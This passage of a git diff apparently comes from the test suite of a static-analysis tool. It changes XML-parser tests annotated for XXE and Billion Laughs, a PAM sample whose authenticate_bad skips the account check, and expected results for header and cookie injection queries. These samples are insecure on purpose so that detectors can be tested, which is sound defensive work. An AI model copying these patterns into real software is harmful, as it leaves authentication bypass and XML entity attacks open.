-parser.setFeature(xml.sax.handler.feature_external_ges, True)
-xml.dom.minidom.parse(StringIO(x), parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-xml.dom.minidom.parse(StringIO(x), parser=parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-
-xml.dom.pulldom.parse(StringIO(x), parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-xml.dom.pulldom.parse(StringIO(x), parser=parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/xml_etree.py b/python/ql/test/experimental/library-tests/frameworks/XML/xml_etree.py
deleted file mode 100644
index df126e458e2..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/xml_etree.py
+++ /dev/null
@@ -1,45 +0,0 @@
-from io import StringIO
-import xml.etree.ElementTree
-
-x = "some xml"
-
-# Parsing in different ways
-xml.etree.ElementTree.fromstring(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.fromstring(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.etree.ElementTree.fromstringlist([x]) # $ input=List vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.fromstringlist(sequence=[x]) # $ input=List vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.etree.ElementTree.XML(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.XML(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.etree.ElementTree.XMLID(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.XMLID(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.etree.ElementTree.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.etree.ElementTree.iterparse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.etree.ElementTree.iterparse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-
-# With parsers (no options available to disable/enable security features)
-parser = xml.etree.ElementTree.XMLParser()
-xml.etree.ElementTree.fromstring(x, parser=parser) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-# manual use of feed method
-parser = xml.etree.ElementTree.XMLParser()
-parser.feed(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-parser.feed(data=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-parser.close()
-
-# manual use of feed method on XMLPullParser
-parser = xml.etree.ElementTree.XMLPullParser()
-parser.feed(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-parser.feed(data=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-parser.close()
-
-# note: it's technically possible to use the thing wrapper func `fromstring` with an
-# `lxml` parser, and thereby change what vulnerabilities you are exposed to.. but it
-# seems very unlikely that anyone would do this, so we have intentionally not added any
-# tests for this.
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/xml_sax.py b/python/ql/test/experimental/library-tests/frameworks/XML/xml_sax.py
deleted file mode 100644
index 158e62ffae6..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/xml_sax.py
+++ /dev/null
@@ -1,64 +0,0 @@
-from io import StringIO
-import xml.sax
-
-x = "some xml"
-
-class MainHandler(xml.sax.ContentHandler):
-    def __init__(self):
-        self._result = []
-
-    def characters(self, data):
-        self._result.append(data)
-
-xml.sax.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.sax.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.sax.parseString(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.sax.parseString(string=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-parser = xml.sax.make_parser()
-parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-parser.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-# You can make it vuln to both XXE and DTD retrieval by setting this flag
-# see https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
-parser = xml.sax.make_parser()
-parser.setFeature(xml.sax.handler.feature_external_ges, True)
-parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-
-parser = xml.sax.make_parser()
-parser.setFeature(xml.sax.handler.feature_external_ges, False)
-parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-# Forward Type Tracking test
-def func(cond):
-    parser = xml.sax.make_parser()
-    if cond:
-        parser.setFeature(xml.sax.handler.feature_external_ges, True)
-        parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-    else:
-        parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-# make it vuln, then making it safe
-# a bit of an edge-case, but is nice to be able to handle.
-parser = xml.sax.make_parser()
-parser.setFeature(xml.sax.handler.feature_external_ges, True)
-parser.setFeature(xml.sax.handler.feature_external_ges, False)
-parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-def check_conditional_assignment(cond):
-    parser = xml.sax.make_parser()
-    if cond:
-        parser.setFeature(xml.sax.handler.feature_external_ges, True)
-    else:
-        parser.setFeature(xml.sax.handler.feature_external_ges, False)
-    parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
-
-def check_conditional_assignment2(cond):
-    parser = xml.sax.make_parser()
-    if cond:
-        flag_value = True
-    else:
-        flag_value = False
-    parser.setFeature(xml.sax.handler.feature_external_ges, flag_value)
-    parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/xmltodict.py b/python/ql/test/experimental/library-tests/frameworks/XML/xmltodict.py
deleted file mode 100644
index 473e51c9fe6..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/xmltodict.py
+++ /dev/null
@@ -1,8 +0,0 @@
-import xmltodict
-
-x = "some xml"
-
-xmltodict.parse(x) # $ input=x
-xmltodict.parse(xml_input=x) # $ input=x
-
-xmltodict.parse(x, disable_entities=False) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll
index 8f9435f633f..8b1a6bad2bb 100644
--- a/python/ql/test/experimental/meta/ConceptsTest.qll
+++ b/python/ql/test/experimental/meta/ConceptsTest.qll
@@ -539,3 +539,54 @@ class HttpClientRequestTest extends InlineExpectationsTest {
     )
   }
 }
+
+class CsrfProtectionSettingTest extends InlineExpectationsTest {
+  CsrfProtectionSettingTest() { this = "CsrfProtectionSettingTest" }
+
+  override string getARelevantTag() { result = "CsrfProtectionSetting" }
+
+  override predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(location.getFile().getRelativePath()) and
+    exists(HTTP::Server::CsrfProtectionSetting setting |
+      location = setting.getLocation() and
+      element = setting.toString() and
+      value = setting.getVerificationSetting().toString() and
+      tag = "CsrfProtectionSetting"
+    )
+  }
+}
+
+class CsrfLocalProtectionSettingTest extends InlineExpectationsTest {
+  CsrfLocalProtectionSettingTest() { this = "CsrfLocalProtectionSettingTest" }
+
+  override string getARelevantTag() { result = "CsrfLocalProtection" + ["Enabled", "Disabled"] }
+
+  override predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(location.getFile().getRelativePath()) and
+    exists(HTTP::Server::CsrfLocalProtectionSetting p |
+      location = p.getLocation() and
+      element = p.toString() and
+      value = p.getRequestHandler().getName().toString() and
+      if p.csrfEnabled()
+      then tag = "CsrfLocalProtectionEnabled"
+      else tag = "CsrfLocalProtectionDisabled"
+    )
+  }
+}
+
+class XmlParsingTest extends InlineExpectationsTest {
+  XmlParsingTest() { this = "XmlParsingTest" }
+
+  override string getARelevantTag() { result = "xmlVuln" }
+
+  override predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(location.getFile().getRelativePath()) and
+    exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
+      parsing.vulnerableTo(kind) and
+      location = parsing.getLocation() and
+      element = parsing.toString() and
+      value = "'" + kind + "'" and
+      tag = "xmlVuln"
+    )
+  }
+}
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-113/HeaderInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-113/HeaderInjection.expected
index 48fc4dfab07..100beb0f4b3 100644
--- a/python/ql/test/experimental/query-tests/Security/CWE-113/HeaderInjection.expected
+++ b/python/ql/test/experimental/query-tests/Security/CWE-113/HeaderInjection.expected
@@ -13,8 +13,6 @@ edges
 | flask_bad.py:35:18:35:24 | ControlFlowNode for request | flask_bad.py:35:18:35:29 | ControlFlowNode for Attribute |
 | flask_bad.py:35:18:35:29 | ControlFlowNode for Attribute | flask_bad.py:35:18:35:43 | ControlFlowNode for Subscript |
 | flask_bad.py:35:18:35:43 | ControlFlowNode for Subscript | flask_bad.py:38:24:38:33 | ControlFlowNode for rfs_header |
-| flask_bad.py:44:44:44:50 | ControlFlowNode for request | flask_bad.py:44:44:44:55 | ControlFlowNode for Attribute |
-| flask_bad.py:44:44:44:55 | ControlFlowNode for Attribute | flask_bad.py:44:44:44:69 | ControlFlowNode for Subscript |
 nodes
 | django_bad.py:5:18:5:58 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
 | django_bad.py:7:40:7:49 | ControlFlowNode for rfs_header | semmle.label | ControlFlowNode for rfs_header |
@@ -36,9 +34,6 @@ nodes
 | flask_bad.py:35:18:35:29 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
 | flask_bad.py:35:18:35:43 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
 | flask_bad.py:38:24:38:33 | ControlFlowNode for rfs_header | semmle.label | ControlFlowNode for rfs_header |
-| flask_bad.py:44:44:44:50 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
-| flask_bad.py:44:44:44:55 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
-| flask_bad.py:44:44:44:69 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
 subpaths
 #select
 | django_bad.py:7:40:7:49 | ControlFlowNode for rfs_header | django_bad.py:5:18:5:58 | ControlFlowNode for Attribute() | django_bad.py:7:40:7:49 | ControlFlowNode for rfs_header | $@ HTTP header is constructed from a $@. | django_bad.py:7:40:7:49 | ControlFlowNode for rfs_header | This | django_bad.py:5:18:5:58 | ControlFlowNode for Attribute() | user-provided value |
@@ -47,4 +42,3 @@ subpaths
 | flask_bad.py:21:38:21:47 | ControlFlowNode for rfs_header | flask_bad.py:19:18:19:24 | ControlFlowNode for request | flask_bad.py:21:38:21:47 | ControlFlowNode for rfs_header | $@ HTTP header is constructed from a $@. | flask_bad.py:21:38:21:47 | ControlFlowNode for rfs_header | This | flask_bad.py:19:18:19:24 | ControlFlowNode for request | user-provided value |
 | flask_bad.py:29:34:29:43 | ControlFlowNode for rfs_header | flask_bad.py:27:18:27:24 | ControlFlowNode for request | flask_bad.py:29:34:29:43 | ControlFlowNode for rfs_header | $@ HTTP header is constructed from a $@. | flask_bad.py:29:34:29:43 | ControlFlowNode for rfs_header | This | flask_bad.py:27:18:27:24 | ControlFlowNode for request | user-provided value |
 | flask_bad.py:38:24:38:33 | ControlFlowNode for rfs_header | flask_bad.py:35:18:35:24 | ControlFlowNode for request | flask_bad.py:38:24:38:33 | ControlFlowNode for rfs_header | $@ HTTP header is constructed from a $@. | flask_bad.py:38:24:38:33 | ControlFlowNode for rfs_header | This | flask_bad.py:35:18:35:24 | ControlFlowNode for request | user-provided value |
-| flask_bad.py:44:44:44:69 | ControlFlowNode for Subscript | flask_bad.py:44:44:44:50 | ControlFlowNode for request | flask_bad.py:44:44:44:69 | ControlFlowNode for Subscript | $@ HTTP header is constructed from a $@. | flask_bad.py:44:44:44:69 | ControlFlowNode for Subscript | This | flask_bad.py:44:44:44:50 | ControlFlowNode for request | user-provided value |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.expected b/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.expected
new file mode 100644
index 00000000000..1b6c23291be
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.expected
@@ -0,0 +1 @@
+| pam_test.py:48:18:48:44 | ControlFlowNode for pam_authenticate() | This PAM authentication call may be lead to an authorization bypass. |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.qlref b/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.qlref
new file mode 100644
index 00000000000..38fac298b1e
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-285/PamAuthorization.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE-285/PamAuthorization.ql
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-285/pam_test.py b/python/ql/test/experimental/query-tests/Security/CWE-285/pam_test.py
new file mode 100644
index 00000000000..966e13cb991
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-285/pam_test.py
@@ -0,0 +1,63 @@
+from ctypes import CDLL, POINTER, Structure, byref
+from ctypes import c_char_p, c_int
+from ctypes.util import find_library
+
+
+class PamHandle(Structure):
+    pass
+
+
+class PamMessage(Structure):
+    pass
+
+
+class PamResponse(Structure):
+    pass
+
+
+class PamConv(Structure):
+    pass
+
+# this is normal way to do things
+libpam = CDLL(find_library("pam"))
+
+# but we also handle assignment to temp variable
+temp = find_library("pam")
+libpam = CDLL(temp)
+
+pam_start = libpam.pam_start
+pam_start.restype = c_int
+pam_start.argtypes = [c_char_p, c_char_p, POINTER(PamConv), POINTER(PamHandle)]
+
+pam_authenticate = libpam.pam_authenticate
+pam_authenticate.restype = c_int
+pam_authenticate.argtypes = [PamHandle, c_int]
+
+pam_acct_mgmt = libpam.pam_acct_mgmt
+pam_acct_mgmt.restype = c_int
+pam_acct_mgmt.argtypes = [PamHandle, c_int]
+
+
+class pam():
+
+    def authenticate_bad(self, username, service='login'):
+        handle = PamHandle()
+        conv = PamConv(None, 0)
+        retval = pam_start(service, username, byref(conv), byref(handle))
+
+        retval = pam_authenticate(handle, 0)
+        auth_success = retval == 0
+
+        return auth_success
+
+    def authenticate_good(self, username, service='login'):
+        handle = PamHandle()
+        conv = PamConv(None, 0)
+        retval = pam_start(service, username, byref(conv), byref(handle))
+
+        retval = pam_authenticate(handle, 0)
+        if retval == 0:
+            retval = pam_acct_mgmt(handle, 0)
+        auth_success = retval == 0
+
+        return auth_success
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.expected b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.expected
new file mode 100644
index 00000000000..5f848fb56bb
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.expected
@@ -0,0 +1 @@
+| xmlrpc_server.py:7:10:7:48 | ControlFlowNode for SimpleXMLRPCServer() | SimpleXMLRPCServer is vulnerable to XML bombs |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/SimpleXmlRpcServer.qlref b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref
similarity index 100%
rename from python/ql/test/experimental/query-tests/Security/CWE-611/SimpleXmlRpcServer.qlref
rename to python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/xmlrpc_server.py b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py
similarity index 100%
rename from python/ql/test/experimental/query-tests/Security/CWE-611/xmlrpc_server.py
rename to python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/SimpleXmlRpcServer.expected b/python/ql/test/experimental/query-tests/Security/CWE-611/SimpleXmlRpcServer.expected
deleted file mode 100644
index 4a08d61c47a..00000000000
--- a/python/ql/test/experimental/query-tests/Security/CWE-611/SimpleXmlRpcServer.expected
+++ /dev/null
@@ -1 +0,0 @@
-| xmlrpc_server.py:7:10:7:48 | ControlFlowNode for SimpleXMLRPCServer() | SimpleXMLRPCServer is vulnerable to: Billion Laughs, Quadratic Blowup. |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.qlref b/python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.qlref
deleted file mode 100644
index 36a7c8845fb..00000000000
--- a/python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.qlref
+++ /dev/null
@@ -1 +0,0 @@
-experimental/Security/CWE-611/XmlEntityInjection.ql
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.expected
new file mode 100644
index 00000000000..d246f8b14d6
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.expected
@@ -0,0 +1,63 @@
+edges
+| django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring |
+| django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring |
+| flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute |
+| flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute |
+| flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript |
+| flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute |
+| flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript |
+| flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute |
+| flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute |
+| flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute | flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript |
+| flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring |
+| flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute |
+| flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute | flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript |
+| flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring |
+nodes
+| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring |
+| django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| flask_bad.py:24:21:24:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| flask_bad.py:24:49:24:55 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring |
+| flask_bad.py:32:37:32:43 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| flask_bad.py:32:60:32:66 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+subpaths
+#select
+| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
+| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
+| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
